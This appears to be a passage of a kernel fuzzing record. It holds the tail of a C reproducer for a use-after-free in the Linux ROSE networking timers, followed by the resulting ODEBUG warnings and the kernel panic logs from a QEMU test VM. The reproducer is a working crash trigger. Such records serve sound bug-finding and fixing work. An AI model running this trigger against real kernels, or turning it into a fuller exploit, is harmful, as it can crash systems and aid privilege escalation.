        if (res < 0) {
            printf("[-] Failed to ioctl SIOCDELRT: %s\n", strerror(errno));
            exit(1);
        }
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
        printf("[+] Iteration %d completed.\n", i);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    printf("[+] Waiting for timers to expire...\n");
    sleep(1);

    printf("[+] Done.\n");
    return 0;
}
]

map[CompilerError:]

map[CandidateBugTitle:WARNING: ODEBUG bug in handle_softirqs CandidateCrashReport:------------[ cut here ]------------
ODEBUG: free active (active state 0) object: ffff88811733b090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350 net/rose/rose_link.c:-1
WARNING: lib/debugobjects.c:632 at debug_print_object lib/debugobjects.c:629 [inline], CPU#0: swapper/0/0
WARNING: lib/debugobjects.c:632 at __debug_check_no_obj_freed lib/debugobjects.c:1116 [inline], CPU#0: swapper/0/0
WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550 lib/debugobjects.c:1146, CPU#0: swapper/0/0
Modules linked in:
CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:debug_print_object lib/debugobjects.c:629 [inline]
RIP: 0010:__debug_check_no_obj_freed lib/debugobjects.c:1116 [inline]
RIP: 0010:debug_check_no_obj_freed+0x44a/0x550 lib/debugobjects.c:1146
Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
RSP: 0018:ffffc90000007b68 EFLAGS: 00010246
RAX: ffffffff8a7d4d90 RBX: ffffffff9a51df10 RCX: 0000000000000000
RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
RBP: ffffffff8bb03e60 R08: ffff88811733b090 R09: ffffffff8bb05240
R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88811733b200
R13: ffffffff90255cb0 R14: ffff88811733b000 R15: ffff88811733b090
FS:  0000000000000000(0000) GS:ffff8881a55ef000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000562af2b84300 CR3: 000000000e54e000 CR4: 00000000000006f0
Call Trace:
 <IRQ>
 slab_free_hook mm/slub.c:2616 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x13a/0x630 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x4cb/0x600 net/rose/rose_timer.c:183
 call_timer_fn+0x192/0x640 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2373 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2385
 run_timer_base kernel/time/timer.c:2394 [inline]
 run_timer_softirq+0xb7/0x170 kernel/time/timer.c:2404
 handle_softirqs+0x22a/0x870 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0x5f/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:pv_native_safe_halt+0xf/0x20 arch/x86/kernel/paravirt.c:63
Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
RSP: 0018:ffffffff8e407dc0 EFLAGS: 00000202
RAX: 0000000000118161 RBX: ffffffff8199900a RCX: 0000000080000001
RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
RBP: ffffffff8e407eb0 R08: ffff88813883399b R09: 1ffff11027106733
R10: dffffc0000000000 R11: ffffed1027106734 R12: 0000000000000000
R13: 1ffffffff1c92a08 R14: 0000000000000000 R15: 1ffffffff1c92a08
 arch_safe_halt arch/x86/kernel/process.c:766 [inline]
 default_idle+0x9/0x20 arch/x86/kernel/process.c:767
 default_idle_call+0x72/0xb0 kernel/sched/idle.c:122
 cpuidle_idle_call kernel/sched/idle.c:199 [inline]
 do_idle+0x36a/0x5f0 kernel/sched/idle.c:352
 cpu_startup_entry+0x43/0x60 kernel/sched/idle.c:451
 rest_init+0x2de/0x300 init/main.c:760
 start_kernel+0x385/0x3d0 init/main.c:1210
 x86_64_start_reservations+0x24/0x30 arch/x86/kernel/head64.c:310
 x86_64_start_kernel+0x143/0x1c0 arch/x86/kernel/head64.c:291
 common_startup_64+0x13e/0x147
 </TASK>
----------------
Code disassembly (best guess):
   0:	89 44 24 20          	mov    %eax,0x20(%rsp)
   4:	e8 b7 5f 7a fd       	call   0xfd7a5fc0
   9:	48 8b 44 24 20       	mov    0x20(%rsp),%rax
   e:	4c 8b 4d 00          	mov    0x0(%rbp),%r9
  12:	4c 89 ef             	mov    %r13,%rdi
  15:	48 c7 c6 20 02 0e 8c 	mov    $0xffffffff8c0e0220,%rsi
  1c:	48 c7 c2 20 08 0e 8c 	mov    $0xffffffff8c0e0820,%rdx
  23:	8b 0c 24             	mov    (%rsp),%ecx
  26:	4d 89 f8             	mov    %r15,%r8
  29:	50                   	push   %rax
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	48 83 c4 08          	add    $0x8,%rsp
  33:	4c 8b 6c 24 18       	mov    0x18(%rsp),%r13
  38:	48                   	rex.W
  39:	b9 00 00 00 00       	mov    $0x0,%ecx
  3e:	00 fc                	add    %bh,%ah
 CandidateReproduced:true ConsoleOutput:Warning: Permanently added '[localhost]:59615' (ED25519) to the list of known hosts.
[  116.462843][ T6051] mkiss: ax0: crc mode is auto.
[  116.468103][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  116.468118][   T33] audit: type=1400 audit(1779796876.743:106): avc:  denied  { create } for  pid=6051 comm="syz-executor321" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.477377][ T6051] mkiss: ax0: Trying crc-smack
[  116.497325][ T1097] mkiss: ax0: Switching to crc-smack
[  116.528564][   T33] audit: type=1400 audit(1779796876.743:107): avc:  denied  { ioctl } for  pid=6051 comm="syz-executor321" path="socket:[8135]" dev="sockfs" ino=8135 ioctlcmd=0x8913 scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.547622][   T33] audit: type=1400 audit(1779796876.753:108): avc:  denied  { bind } for  pid=6051 comm="syz-executor321" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.563885][   T33] audit: type=1400 audit(1779796876.753:109): avc:  denied  { connect } for  pid=6051 comm="syz-executor321" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.619746][    C0] ------------[ cut here ]------------
[  116.623165][    C0] ODEBUG: free active (active state 0) object: ffff88811733b090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350
[  116.631863][    C0] WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550, CPU#0: swapper/0/0
[  116.637394][    C0] Modules linked in:
[  116.639584][    C0] CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #1 PREEMPT(full) 
[  116.643387][    C0] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  116.647754][    C0] RIP: 0010:debug_check_no_obj_freed+0x44a/0x550
[  116.650684][    C0] Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
[  116.659535][    C0] RSP: 0018:ffffc90000007b68 EFLAGS: 00010246
[  116.662834][    C0] RAX: ffffffff8a7d4d90 RBX: ffffffff9a51df10 RCX: 0000000000000000
[  116.665881][    C0] RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
[  116.668967][    C0] RBP: ffffffff8bb03e60 R08: ffff88811733b090 R09: ffffffff8bb05240
[  116.672129][    C0] R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88811733b200
[  116.676430][    C0] R13: ffffffff90255cb0 R14: ffff88811733b000 R15: ffff88811733b090
[  116.680812][    C0] FS:  0000000000000000(0000) GS:ffff8881a55ef000(0000) knlGS:0000000000000000
[  116.685611][    C0] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  116.689033][    C0] CR2: 0000562af2b84300 CR3: 000000000e54e000 CR4: 00000000000006f0
[  116.693750][    C0] Call Trace:
[  116.695656][    C0]  <IRQ>
[  116.697247][    C0]  ? __pfx_rose_t0timer_expiry+0x10/0x10
[  116.700455][    C0]  kfree+0x13a/0x630
[  116.702527][    C0]  ? rose_timer_expiry+0x4cb/0x600
[  116.704694][    C0]  rose_timer_expiry+0x4cb/0x600
[  116.706499][    C0]  call_timer_fn+0x192/0x640
[  116.708722][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.711575][    C0]  ? call_timer_fn+0xd4/0x640
[  116.713783][    C0]  ? __pfx_call_timer_fn+0x10/0x10
[  116.716573][    C0]  ? _raw_spin_unlock_irq+0x23/0x50
[  116.719224][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.721218][    C0]  __run_timer_base+0x652/0x8b0
[  116.723149][    C0]  ? __pfx___run_timer_base+0x10/0x10
[  116.725135][    C0]  ? clockevents_program_event+0x247/0x350
[  116.727542][    C0]  ? sched_clock_cpu+0x74/0x440
[  116.729854][    C0]  run_timer_softirq+0xb7/0x170
[  116.731644][    C0]  handle_softirqs+0x22a/0x870
[  116.734013][    C0]  ? __irq_exit_rcu+0x5f/0x150
[  116.735727][    C0]  __irq_exit_rcu+0x5f/0x150
[  116.737794][    C0]  irq_exit_rcu+0x9/0x30
[  116.739303][    C0]  sysvec_apic_timer_interrupt+0xa6/0xc0
[  116.741801][    C0]  </IRQ>
[  116.743054][    C0]  <TASK>
[  116.744125][    C0]  asm_sysvec_apic_timer_interrupt+0x1a/0x20
[  116.746620][    C0] RIP: 0010:pv_native_safe_halt+0xf/0x20
[  116.749348][    C0] Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
[  116.758207][    C0] RSP: 0018:ffffffff8e407dc0 EFLAGS: 00000202
[  116.761710][    C0] RAX: 0000000000118161 RBX: ffffffff8199900a RCX: 0000000080000001
[  116.766031][    C0] RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
[  116.770451][    C0] RBP: ffffffff8e407eb0 R08: ffff88813883399b R09: 1ffff11027106733
[  116.773976][    C0] R10: dffffc0000000000 R11: ffffed1027106734 R12: 0000000000000000
[  116.777027][    C0] R13: 1ffffffff1c92a08 R14: 0000000000000000 R15: 1ffffffff1c92a08
[  116.781342][    C0]  ? do_idle+0x36a/0x5f0
[  116.783867][    C0]  default_idle+0x9/0x20
[  116.786239][    C0]  default_idle_call+0x72/0xb0
[  116.788857][    C0]  do_idle+0x36a/0x5f0
[  116.791260][    C0]  ? __pfx_do_idle+0x10/0x10
[  116.793412][    C0]  cpu_startup_entry+0x43/0x60
[  116.795776][    C0]  rest_init+0x2de/0x300
[  116.798234][    C0]  start_kernel+0x385/0x3d0
[  116.800992][    C0]  x86_64_start_reservations+0x24/0x30
[  116.804151][    C0]  x86_64_start_kernel+0x143/0x1c0
[  116.807090][    C0]  common_startup_64+0x13e/0x147
[  116.810064][    C0]  </TASK>
[  116.811856][    C0] Kernel panic - not syncing: kernel: panic_on_warn set ...
[  116.816329][    C0] CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #1 PREEMPT(full) 
[  116.821097][    C0] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  116.826032][    C0] Call Trace:
[  116.827965][    C0]  <IRQ>
[  116.829611][    C0]  vpanic+0x56c/0xa60
[  116.831921][    C0]  ? __pfx__printk+0x10/0x10
[  116.834531][    C0]  ? __pfx_vpanic+0x10/0x10
[  116.837279][    C0]  ? is_bpf_text_address+0x292/0x2b0
[  116.840287][    C0]  ? is_bpf_text_address+0x26/0x2b0
[  116.843354][    C0]  panic+0xc5/0xd0
[  116.844817][    C0]  ? __pfx_panic+0x10/0x10
[  116.847375][    C0]  ? common_startup_64+0x13e/0x147
[  116.850526][    C0]  __warn+0x315/0x4f0
[  116.852959][    C0]  ? debug_check_no_obj_freed+0x405/0x550
[  116.856389][    C0]  ? debug_check_no_obj_freed+0x405/0x550
[  116.859431][    C0]  __report_bug+0x29a/0x540
[  116.861854][    C0]  ? debug_check_no_obj_freed+0x405/0x550
[  116.864642][    C0]  ? __pfx___report_bug+0x10/0x10
[  116.867424][    C0]  ? add_lock_to_list+0xc7/0x100
[  116.870222][    C0]  report_bug_entry+0x19a/0x290
[  116.872887][    C0]  ? debug_check_no_obj_freed+0x44a/0x550
[  116.874987][    C0]  ? debug_check_no_obj_freed+0x44f/0x550
[  116.878332][    C0]  handle_bug+0xce/0x200
[  116.880841][    C0]  exc_invalid_op+0x1a/0x50
[  116.883619][    C0]  asm_exc_invalid_op+0x1a/0x20
[  116.886678][    C0] RIP: 0010:debug_check_no_obj_freed+0x44a/0x550
[  116.890365][    C0] Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
[  116.900530][    C0] RSP: 0018:ffffc90000007b68 EFLAGS: 00010246
[  116.905253][    C0] RAX: ffffffff8a7d4d90 RBX: ffffffff9a51df10 RCX: 0000000000000000
[  116.909454][    C0] RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
[  116.913370][    C0] RBP: ffffffff8bb03e60 R08: ffff88811733b090 R09: ffffffff8bb05240
[  116.916791][    C0] R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88811733b200
[  116.921195][    C0] R13: ffffffff90255cb0 R14: ffff88811733b000 R15: ffff88811733b090
[  116.925711][    C0]  ? __pfx_timer_debug_hint+0x10/0x10
[  116.928798][    C0]  ? __pfx_rose_t0timer_expiry+0x10/0x10
[  116.931211][    C0]  ? __pfx_rose_t0timer_expiry+0x10/0x10
[  116.934524][    C0]  kfree+0x13a/0x630
[  116.936813][    C0]  ? rose_timer_expiry+0x4cb/0x600
[  116.939757][    C0]  rose_timer_expiry+0x4cb/0x600
[  116.942600][    C0]  call_timer_fn+0x192/0x640
[  116.944270][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.947246][    C0]  ? call_timer_fn+0xd4/0x640
[  116.949586][    C0]  ? __pfx_call_timer_fn+0x10/0x10
[  116.952515][    C0]  ? _raw_spin_unlock_irq+0x23/0x50
[  116.954266][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.956475][    C0]  __run_timer_base+0x652/0x8b0
[  116.959355][    C0]  ? __pfx___run_timer_base+0x10/0x10
[  116.962064][    C0]  ? clockevents_program_event+0x247/0x350
[  116.965403][    C0]  ? sched_clock_cpu+0x74/0x440
[  116.968419][    C0]  run_timer_softirq+0xb7/0x170
[  116.970139][    C0]  handle_softirqs+0x22a/0x870
[  116.973055][    C0]  ? __irq_exit_rcu+0x5f/0x150
[  116.975990][    C0]  __irq_exit_rcu+0x5f/0x150
[  116.978341][    C0]  irq_exit_rcu+0x9/0x30
[  116.979855][    C0]  sysvec_apic_timer_interrupt+0xa6/0xc0
[  116.982948][    C0]  </IRQ>
[  116.984641][    C0]  <TASK>
[  116.986342][    C0]  asm_sysvec_apic_timer_interrupt+0x1a/0x20
[  116.989694][    C0] RIP: 0010:pv_native_safe_halt+0xf/0x20
[  116.994672][    C0] Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
[  117.004667][    C0] RSP: 0018:ffffffff8e407dc0 EFLAGS: 00000202
[  117.008110][    C0] RAX: 0000000000118161 RBX: ffffffff8199900a RCX: 0000000080000001
[  117.012603][    C0] RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
[  117.015446][    C0] RBP: ffffffff8e407eb0 R08: ffff88813883399b R09: 1ffff11027106733
[  117.018188][    C0] R10: dffffc0000000000 R11: ffffed1027106734 R12: 0000000000000000
[  117.022952][    C0] R13: 1ffffffff1c92a08 R14: 0000000000000000 R15: 1ffffffff1c92a08
[  117.027693][    C0]  ? do_idle+0x36a/0x5f0
[  117.030410][    C0]  default_idle+0x9/0x20
[  117.033538][    C0]  default_idle_call+0x72/0xb0
[  117.035326][    C0]  do_idle+0x36a/0x5f0
[  117.036814][    C0]  ? __pfx_do_idle+0x10/0x10
[  117.039394][    C0]  cpu_startup_entry+0x43/0x60
[  117.042103][    C0]  rest_init+0x2de/0x300
[  117.044724][    C0]  start_kernel+0x385/0x3d0
[  117.046506][    C0]  x86_64_start_reservations+0x24/0x30
[  117.049683][    C0]  x86_64_start_kernel+0x143/0x1c0
[  117.052609][    C0]  common_startup_64+0x13e/0x147
[  117.055261][    C0]  </TASK>
[  117.061086][    C0] Kernel Offset: disabled
[  117.063843][    C0] Rebooting in 86400 seconds..
 OtherCrashReports:[------------[ cut here ]------------
ODEBUG: free active (active state 0) object: ffff88810b1dd090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350 net/rose/rose_link.c:-1
WARNING: lib/debugobjects.c:632 at debug_print_object lib/debugobjects.c:629 [inline], CPU#1: swapper/1/0
WARNING: lib/debugobjects.c:632 at __debug_check_no_obj_freed lib/debugobjects.c:1116 [inline], CPU#1: swapper/1/0
WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550 lib/debugobjects.c:1146, CPU#1: swapper/1/0
Modules linked in:
CPU: 1 UID: 0 PID: 0 Comm: swapper/1 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:debug_print_object lib/debugobjects.c:629 [inline]
RIP: 0010:__debug_check_no_obj_freed lib/debugobjects.c:1116 [inline]
RIP: 0010:debug_check_no_obj_freed+0x44a/0x550 lib/debugobjects.c:1146
Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
RSP: 0018:ffffc90000a089a8 EFLAGS: 00010246
RAX: ffffffff8a7d4d90 RBX: ffffffff9a506798 RCX: 0000000000000000
RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
RBP: ffffffff8bb03e60 R08: ffff88810b1dd090 R09: ffffffff8bb05240
R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88810b1dd200
R13: ffffffff90255cb0 R14: ffff88810b1dd000 R15: ffff88810b1dd090
FS:  0000000000000000(0000) GS:ffff8882e8bef000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00005654964c2cc0 CR3: 0000000101f1e000 CR4: 00000000000006f0
Call Trace:
 <IRQ>
 slab_free_hook mm/slub.c:2616 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x13a/0x630 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x4cb/0x600 net/rose/rose_timer.c:183
 call_timer_fn+0x192/0x640 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2373 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2385
 tmigr_handle_remote_cpu kernel/time/timer_migration.c:982 [inline]
 tmigr_handle_remote_up kernel/time/timer_migration.c:1073 [inline]
 __walk_groups_from kernel/time/timer_migration.c:565 [inline]
 __walk_groups kernel/time/timer_migration.c:582 [inline]
 tmigr_handle_remote+0xa48/0x1440 kernel/time/timer_migration.c:1132
 handle_softirqs+0x22a/0x870 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0x5f/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:pv_native_safe_halt+0xf/0x20 arch/x86/kernel/paravirt.c:63
Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
RSP: 0018:ffffc90000197e20 EFLAGS: 00000206
RAX: 00000000000627ff RBX: ffffffff8199900a RCX: 0000000080000001
RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
RBP: ffffc90000197f10 R08: ffff88827be3399b R09: 1ffff1104f7c6733
R10: dffffc0000000000 R11: ffffed104f7c6734 R12: 0000000000000001
R13: 1ffff1103009d000 R14: 0000000000000001 R15: 1ffff1103009d000
 arch_safe_halt arch/x86/kernel/process.c:766 [inline]
 default_idle+0x9/0x20 arch/x86/kernel/process.c:767
 default_idle_call+0x72/0xb0 kernel/sched/idle.c:122
 cpuidle_idle_call kernel/sched/idle.c:199 [inline]
 do_idle+0x36a/0x5f0 kernel/sched/idle.c:352
 cpu_startup_entry+0x43/0x60 kernel/sched/idle.c:451
 start_secondary+0x101/0x110 arch/x86/kernel/smpboot.c:312
 common_startup_64+0x13e/0x147
 </TASK>
----------------
Code disassembly (best guess):
   0:	89 44 24 20          	mov    %eax,0x20(%rsp)
   4:	e8 b7 5f 7a fd       	call   0xfd7a5fc0
   9:	48 8b 44 24 20       	mov    0x20(%rsp),%rax
   e:	4c 8b 4d 00          	mov    0x0(%rbp),%r9
  12:	4c 89 ef             	mov    %r13,%rdi
  15:	48 c7 c6 20 02 0e 8c 	mov    $0xffffffff8c0e0220,%rsi
  1c:	48 c7 c2 20 08 0e 8c 	mov    $0xffffffff8c0e0820,%rdx
  23:	8b 0c 24             	mov    (%rsp),%ecx
  26:	4d 89 f8             	mov    %r15,%r8
  29:	50                   	push   %rax
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	48 83 c4 08          	add    $0x8,%rsp
  33:	4c 8b 6c 24 18       	mov    0x18(%rsp),%r13
  38:	48                   	rex.W
  39:	b9 00 00 00 00       	mov    $0x0,%ecx
  3e:	00 fc                	add    %bh,%ah
] StraceOutput: TestError:]

map[TruncatedConsoleOutput:Warning: Permanently added '[localhost]:59615' (ED25519) to the list of known hosts.
[  116.462843][ T6051] mkiss: ax0: crc mode is auto.
[  116.468103][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  116.468118][   T33] audit: type=1400 audit(1779796876.743:106): avc:  denied  { create } for  pid=6051 comm="syz-executor321" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.477377][ T6051] mkiss: ax0: Trying crc-smack
[  116.497325][ T1097] mkiss: ax0: Switching to crc-smack
[  116.528564][   T33] audit: type=1400 audit(1779796876.743:107): avc:  denied  { ioctl } for  pid=6051 comm="syz-executor321" path="socket:[8135]" dev="sockfs" ino=8135 ioctlcmd=0x8913 scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.547622][   T33] audit: type=1400 audit(1779796876.753:108): avc:  denied  { bind } for  pid=6051 comm="syz-executor321" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.563885][   T33] audit: type=1400 audit(1779796876.753:109): avc:  denied  { connect } for  pid=6051 comm="syz-executor321" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.619746][    C0] ------------[ cut here ]------------
[  116.623165][    C0] ODEBUG: free active (active state 0) object: ffff88811733b090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350
[  116.631863][    C0] WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550, CPU#0: swapper/0/0
[  116.637394][    C0] Modules linked in:
[  116.639584][    C0] CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #1 PREEMPT(full) 
[  116.643387][    C0] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  116.647754][    C0] RIP: 0010:debug_check_no_obj_freed+0x44a/0x550
[  116.650684][    C0] Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
[  116.659535][    C0] RSP: 0018:ffffc90000007b68 EFLAGS: 00010246
[  116.662834][    C0] RAX: ffffffff8a7d4d90 RBX: ffffffff9a51df10 RCX: 0000000000000000
[  116.665881][    C0] RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
[  116.668967][    C0] RBP: ffffffff8bb03e60 R08: ffff88811733b090 R09: ffffffff8bb05240
[  116.672129][    C0] R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88811733b200
[  116.676430][    C0] R13: ffffffff90255cb0 R14: ffff88811733b000 R15: ffff88811733b090
[  116.680812][    C0] FS:  0000000000000000(0000) GS:ffff8881a55ef000(0000) knlGS:0000000000000000
[  116.685611][    C0] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  116.689033][    C0] CR2: 0000562af2b84300 CR3: 000000000e54e000 CR4: 00000000000006f0
[  116.693750][    C0] Call Trace:
[  116.695656][    C0]  <IRQ>
[  116.697247][    C0]  ? __pfx_rose_t0timer_expiry+0x10/0x10
[  116.700455][    C0]  kfree+0x13a/0x630
[  116.702527][    C0]  ? rose_timer_expiry+0x4cb/0x600
[  116.704694][    C0]  rose_timer_expiry+0x4cb/0x600
[  116.706499][    C0]  call_timer_fn+0x192/0x640
[  116.708722][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.711575][    C0]  ? call_timer_fn+0xd4/0x640
[  116.713783][    C0]  ? __pfx_call_timer_fn+0x10/0x10
[  116.716573][    C0]  ? _raw_spin_unlock_irq+0x23/0x50
[  116.719224][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.721218][    C0]  __run_timer_base+0x652/0x8b0
[  116.723149][    C0]  ? __pfx___run_timer_base+0x10/0x10
[  116.725135][    C0]  ? clockevents_program_event+0x247/0x350
[  116.727542][    C0]  ? sched_clock_cpu+0x74/0x440
[  116.729854][    C0]  run_timer_softirq+0xb7/0x170
[  116.731644][    C0]  handle_softirqs+0x22a/0x870
[  116.734013][    C0]  ? __irq_exit_rcu+0x5f/0x150
[  116.735727][    C0]  __irq_exit_rcu+0x5f/0x150
[  116.737794][    C0]  irq_exit_rcu+0x9/0x30
[  116.739303][    C0]  sysvec_apic_timer_interrupt+0xa6/0xc0
[  116.741801][    C0]  </IRQ>
[  116.743054][    C0]  <TASK>
[  116.744125][    C0]  asm_sysvec_apic_timer_interrupt+0x1a/0x20
[  116.746620][    C0] RIP: 0010:pv_native_safe_halt+0xf/0x20
